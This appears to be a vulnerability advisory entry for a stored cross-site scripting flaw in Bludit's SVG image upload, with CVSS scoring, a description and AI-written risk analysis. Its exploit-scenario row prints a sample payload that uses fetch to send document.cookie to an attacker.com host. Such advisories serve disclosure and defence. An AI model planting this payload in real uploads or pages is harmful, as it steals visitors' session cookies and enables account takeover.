EUVD-2026-16579Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Bludit is vulnerable to Stored Cross-Site Scripting (XSS) in its image upload functionality. An authenticated attacker with content upload privileges (such as Author, Editor, or Administrator) can upload an SVG file containing a malicious payload, which is executed when a victim visits the URL of the uploaded resource. The uploaded resource itself is accessible without authentication.
The vendor was notified early about this vulnerability, but stopped responding in the middle of coordination. All versions up to 3.18.2 are considered to be vulnerable, future versions might also be vulnerable.
AnalysisAI
Bludit up to version 3.18.2 allows authenticated users with content upload privileges to execute arbitrary JavaScript in victim browsers via stored XSS in SVG image uploads. An attacker with Author, Editor, or Administrator role can upload a malicious SVG file that executes when accessed by any unauthenticated visitor to the uploaded resource URL, compromising browser sessions and potentially enabling account takeover or sensitive data theft. …
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Vulnerability AssessmentAI
| Risk Assessment | The CVSS v4.0 score of 4.8 reflects a Medium-severity vulnerability with relatively constrained real-world impact: attack vector is Network (AV:N) and complexity is Low (AC:L), but privilege level is Low (PR:L), requiring prior authentication as Author/Editor/Admin. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with Editor privileges uploads an SVG file containing <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> or an event handler like <svg onload="...malicious code...">. When an unauthenticated visitor-potentially another administrator or content reviewer-accesses the SVG URL (e.g., https://victim-site.com/uploads/image.svg), the embedded JavaScript executes in their browser context, stealing session cookies or triggering a redirect to a phishing page. … |
| Remediation | No vendor-released patch is currently available. … Detailed patch versions, workarounds, and compensating controls in full report. |
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